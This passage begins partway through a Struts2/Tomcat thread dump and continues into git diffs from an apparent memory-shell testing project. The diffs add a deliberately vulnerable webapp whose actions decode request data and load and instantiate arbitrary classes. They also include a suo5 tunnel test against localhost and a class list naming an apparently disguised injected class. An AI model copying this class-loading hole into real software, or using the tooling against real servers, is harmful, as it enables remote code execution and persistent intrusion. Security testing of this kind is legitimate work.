com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor.doIntercept(ConversionErrorInterceptor.java:142) + at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99) + at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) + at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:140) + at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99) + at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) + at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:140) + at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99) + at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) + at com.opensymphony.xwork2.interceptor.StaticParametersInterceptor.intercept(StaticParametersInterceptor.java:201) + at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) + at org.apache.struts2.interceptor.MultiselectInterceptor.intercept(MultiselectInterceptor.java:67) + at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) + at org.apache.struts2.interceptor.DateTextFieldInterceptor.intercept(DateTextFieldInterceptor.java:133) + at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) + at org.apache.struts2.interceptor.CheckboxInterceptor.intercept(CheckboxInterceptor.java:89) + at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) + at org.apache.struts2.interceptor.FileUploadInterceptor.intercept(FileUploadInterceptor.java:243) + at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) + at com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor.intercept(ModelDrivenInterceptor.java:101) + at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) + at com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor.intercept(ScopedModelDrivenInterceptor.java:142) + at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) + at com.opensymphony.xwork2.interceptor.ChainingInterceptor.intercept(ChainingInterceptor.java:160) + at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) + at com.opensymphony.xwork2.interceptor.PrepareInterceptor.doIntercept(PrepareInterceptor.java:175) + at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99) + at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) + at org.apache.struts2.interceptor.I18nInterceptor.intercept(I18nInterceptor.java:121) + at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) + at org.apache.struts2.interceptor.ServletConfigInterceptor.intercept(ServletConfigInterceptor.java:167) + at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) + at com.opensymphony.xwork2.interceptor.AliasInterceptor.intercept(AliasInterceptor.java:228) + at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) + at com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:196) + at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) + at org.apache.struts2.factory.StrutsActionProxy.execute(StrutsActionProxy.java:48) + at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:574) + at org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:79) + at org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:141) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:181) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:156) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:168) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90) + at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:483) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93) + at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:679) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:346) + at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:617) + at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63) + at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:934) + at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1690) + at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-6" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"AsyncFileHandlerWriter-1" #12 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@44aea3d6 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:492) + at java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:680) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-AsyncTimeout" #29 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1291) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-10" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"Catalina-startStop-1" #14 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@259b735f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"localhost-startStop-1" #15 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@42ede5b2 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-5" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-2" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"GC Daemon" #13 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@6e2b855c + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"http-nio-8080-exec-9" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-4" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-7" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@5faa2b5c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"http-nio-8080-Acceptor" #28 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:449) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:63) + at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:129) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[StandardEngine[Catalina]]" #16 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1300) + at java.lang.Thread.run(Thread.java:750) + +"main" #1 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at org.apache.catalina.core.StandardServer.await(StandardServer.java:468) + at org.apache.catalina.startup.Catalina.await(Catalina.java:730) + at org.apache.catalina.startup.Catalina.start(Catalina.java:678) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:345) + at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:476) + +"http-nio-8080-exec-3" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-1" #17 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@21d5aa7d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188) + +"http-nio-8080-Poller" #27 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:713) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +Base64ClassLoaderAction +com.fasterxml.jackson.ZsoNQ.ErrorHandler +com.opensymphony.xwork2.DefaultActionInvocation +com.opensymphony.xwork2.interceptor.AliasInterceptor +com.opensymphony.xwork2.interceptor.ChainingInterceptor +com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor +com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor +com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor +com.opensymphony.xwork2.interceptor.MethodFilterInterceptor +com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor +com.opensymphony.xwork2.interceptor.ParametersInterceptor +com.opensymphony.xwork2.interceptor.PrepareInterceptor +com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor +com.opensymphony.xwork2.interceptor.StaticParametersInterceptor +com.opensymphony.xwork2.ognl.OgnlUtil +com.opensymphony.xwork2.ognl.OgnlUtil$3 +com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor +com.opensymphony.xwork2.validator.ValidationInterceptor +ognl.ASTMethod +ognl.ObjectMethodAccessor +ognl.Ognl +ognl.OgnlRuntime +ognl.SimpleNode +org.apache.catalina.authenticator.AuthenticatorBase +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardServer +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.startup.Bootstrap +org.apache.catalina.startup.Catalina +org.apache.catalina.valves.AbstractAccessLogValve +org.apache.catalina.valves.ErrorReportValve +org.apache.coyote.AbstractProcessorLight +org.apache.coyote.AbstractProtocol$AsyncTimeout +org.apache.coyote.AbstractProtocol$ConnectionHandler +org.apache.coyote.http11.Http11Processor +org.apache.struts2.dispatcher.Dispatcher +org.apache.struts2.dispatcher.ExecuteOperations +org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter +org.apache.struts2.factory.StrutsActionProxy +org.apache.struts2.interceptor.CheckboxInterceptor +org.apache.struts2.interceptor.DateTextFieldInterceptor +org.apache.struts2.interceptor.FileUploadInterceptor +org.apache.struts2.interceptor.I18nInterceptor +org.apache.struts2.interceptor.MultiselectInterceptor +org.apache.struts2.interceptor.ServletConfigInterceptor +org.apache.struts2.interceptor.debugging.DebuggingInterceptor +org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor +org.apache.tomcat.util.net.Acceptor +org.apache.tomcat.util.net.NioEndpoint +org.apache.tomcat.util.net.NioEndpoint$Poller +org.apache.tomcat.util.net.NioEndpoint$SocketProcessor +org.apache.tomcat.util.net.SocketProcessorBase +org.apache.tomcat.util.threads.TaskQueue +org.apache.tomcat.util.threads.TaskThread$WrappingRunnable +org.apache.tomcat.util.threads.ThreadPoolExecutor +org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker diff --git a/settings.gradle.kts b/settings.gradle.kts index 2eedb12b..a7da5cf1 100644 --- a/settings.gradle.kts +++ b/settings.gradle.kts @@ -36,6 +36,7 @@ include("vul:vul-webapp") include("vul:vul-webapp-jakarta") include("vul:vul-webapp-expression") include("vul:vul-webapp-deserialize") +include("vul:vul-struct2") include("vul:vul-springboot1") include("vul:vul-springboot2") include("vul:vul-springboot2-jetty") @@ -47,4 +48,4 @@ include("vul:vul-playframework") include("memshell-agent:memshell-agent-attacher") include("memshell-agent:memshell-agent-asm") include("memshell-agent:memshell-agent-javassist") -include("memshell-agent:memshell-agent-bytebuddy") \ No newline at end of file +include("memshell-agent:memshell-agent-bytebuddy") diff --git a/tools/suo5/src/main/java/com/reajason/javaweb/suo5/Suo5Manager.java b/tools/suo5/src/main/java/com/reajason/javaweb/suo5/Suo5Manager.java index db63787e..bf9de578 100644 --- a/tools/suo5/src/main/java/com/reajason/javaweb/suo5/Suo5Manager.java +++ b/tools/suo5/src/main/java/com/reajason/javaweb/suo5/Suo5Manager.java @@ -1,7 +1,5 @@ package com.reajason.javaweb.suo5; -import org.apache.commons.lang3.StringUtils; - import java.io.BufferedReader; import java.io.InputStreamReader; import java.nio.file.Path; @@ -15,6 +13,7 @@ public class Suo5Manager { public static final String suo5Command; + public static final String suo5v2Command; static { String os = System.getProperty("os.name").toLowerCase(); @@ -29,17 +28,19 @@ public class Suo5Manager { pwd = pwd.getParent(); } suo5Command = pwd.resolve(Paths.get("asserts", "suo5", "suo5-" + osType + "-" + osArch)).toAbsolutePath().toString(); + suo5v2Command = pwd.resolve(Paths.get("asserts", "suo5", "suo5v2-" + osType + "-" + osArch)).toAbsolutePath().toString(); } public static void main(String[] args) { System.out.println(suo5Command); - boolean test = test("http://localhost:8082/app/test", "test"); + boolean test = test("", "http://localhost:8082/app/test", "test"); System.out.println(test); } - public static boolean test(String targetUrl, String ua) { + public static boolean test(String shellTool, String targetUrl, String ua) { + String command = shellTool.endsWith("v2") ? suo5v2Command : suo5Command; ProcessBuilder processBuilder = new ProcessBuilder( - suo5Command, "-debug", "-t", targetUrl, "--timeout", "5", "-ua", ua, "-H", "Referer: " + targetUrl + command, "-debug", "-t", targetUrl, "--timeout", "8", "-ua", ua, "-H", "Referer: " + targetUrl ); processBuilder.redirectErrorStream(true); ExecutorService executor = Executors.newSingleThreadExecutor(); diff --git a/vul/vul-struct2/build.gradle.kts b/vul/vul-struct2/build.gradle.kts new file mode 100644 index 00000000..e3448784 --- /dev/null +++ b/vul/vul-struct2/build.gradle.kts @@ -0,0 +1,26 @@ +plugins { + id("war") +} + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(8) + } + sourceCompatibility = JavaVersion.VERSION_1_6 + targetCompatibility = JavaVersion.VERSION_1_6 +} + + +dependencies { + implementation("org.apache.struts:struts2-core:2.5.30") + implementation("commons-fileupload:commons-fileupload:1.3.3") + implementation("commons-fileupload:commons-fileupload:1.3.3") + implementation("commons-beanutils:commons-beanutils:1.9.2") + providedCompile("javax.servlet:servlet-api:2.5") +} + + + +tasks.test { + useJUnitPlatform() +} diff --git a/vul/vul-struct2/src/main/java/Base64ClassLoaderAction.java b/vul/vul-struct2/src/main/java/Base64ClassLoaderAction.java new file mode 100644 index 00000000..c824bd25 --- /dev/null +++ b/vul/vul-struct2/src/main/java/Base64ClassLoaderAction.java @@ -0,0 +1,52 @@ +import com.opensymphony.xwork2.ActionSupport; +import org.apache.struts2.ServletActionContext; + +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; + +/** + * @author ReaJason + * @since 2024/12/24 + */ +public class Base64ClassLoaderAction extends ActionSupport { + + private String data; + + static byte[] decodeBase64(String base64Str) throws Exception { + try { + Class decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception var4) { + Class decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke((Object) null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public Class reflectionDefineClass(byte[] classBytes) throws Exception { + URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defMethod.setAccessible(true); + return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); + } + + public String execute() throws Exception { + try { + byte[] bytes = decodeBase64(data); + Object obj = reflectionDefineClass(bytes).newInstance(); + ServletActionContext.getResponse().getWriter().print(obj); + return null; + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + public String getData() { + return data; + } + + public void setData(String data) { + this.data = data; + } +} diff --git a/vul/vul-struct2/src/main/java/BigIntegerClassLoaderAction.java b/vul/vul-struct2/src/main/java/BigIntegerClassLoaderAction.java new file mode 100644 index 00000000..34f3e59e --- /dev/null +++ b/vul/vul-struct2/src/main/java/BigIntegerClassLoaderAction.java @@ -0,0 +1,37 @@ +import com.opensymphony.xwork2.ActionSupport; +import org.apache.struts2.ServletActionContext; + +import javax.servlet.http.HttpServletRequest; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; + +/** + * @author Wans + * @since 2025/08/25 + */ +public class BigIntegerClassLoaderAction extends ActionSupport { + static byte[] decodeBigInteger(String bigIntegerStr) throws Exception { + Class decoderClass = Class.forName("java.math.BigInteger"); + return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX)); + } + + public String execute() throws Exception { + try { + HttpServletRequest request = 